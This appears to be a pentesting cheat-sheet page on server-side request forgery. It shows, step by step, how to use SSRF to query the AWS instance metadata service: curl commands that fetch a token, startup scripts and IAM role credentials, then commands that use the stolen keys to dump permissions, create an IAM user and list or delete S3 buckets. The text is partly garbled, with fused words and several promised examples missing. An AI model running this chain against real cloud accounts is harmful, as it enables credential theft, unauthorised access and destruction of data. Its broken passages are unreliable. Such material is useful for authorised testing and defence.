Server-side request forgery
Server-side request forgery (SSRF) exploits the trusted relationship between a web server and other backend systems which are not normally accessible to an attacker (e.g. because of firewalls or application rules). They are particularly dangerous in cloud infrastructure like AWS, because SSRF allows an attacker to query internal services like Amazon's metadata API for credentials and other sensitive data.
Generally, you'll be looking for poorly-sanitized parameters which accept URLs, either in
POSTrequests. Less well-known locations for SSRF include:
In the examples below,
localhostis used in the URL to access data and services which are only accessible via the local network.
GETrequest with a vulnerable open redirect:
POSTrequest with a similarly unsanitized URL parameter:
POST /page HTTP/1.0
You can also test protocols other than HTTP:
Amazon's AWS has an internal metadata service which can be queried from any instance. Attackers can use SSRF vulnerabilities to retrieve instance information and in some cases make changes to the infrastructure. Amazon's CLI performs a similar function.
There are two metadata standards for the AWS API - the newest one requires you to generate a short-term token before issuing commands. However, the older non-token version does not seem to be going away, so you could simply use
curl http://169.254.169.254/whateverto get the same data.
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
The top-level metadata items will look something like this:
From there, you can make calls to the API to view each of the metadata items in detail.
For example, the following command lets you view startup scripts for the instance, which may reveal credentials or paths to sensitive S3 buckets:
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
To view roles for the instance:
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/
Once you have a role name, you can request credentials for that role:
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/SomeRole
"Code" : "Success",
"LastUpdated" : "2019-12-03T18:08:16Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "V...",
"Token" : "SomeBase64==",
"Expiration" : "2019-12-04T00:17:43Z"
sudo python nimbostratus dump-permissions --access-key=ASIA... --secret-key=V...
You can also attempt to create a new user, as a proof-of-concept:
sudo python nimbostratus create-iam-user --access-key=ASIA... --secret-key=p...
aws s3 mb s3://bucket-name # create a bucket
aws s3 ls # list buckets
aws s3 ls s3://bucket-name # list things in a bucket
aws s3 rb s3://bucket-name --force # delete bucket + contents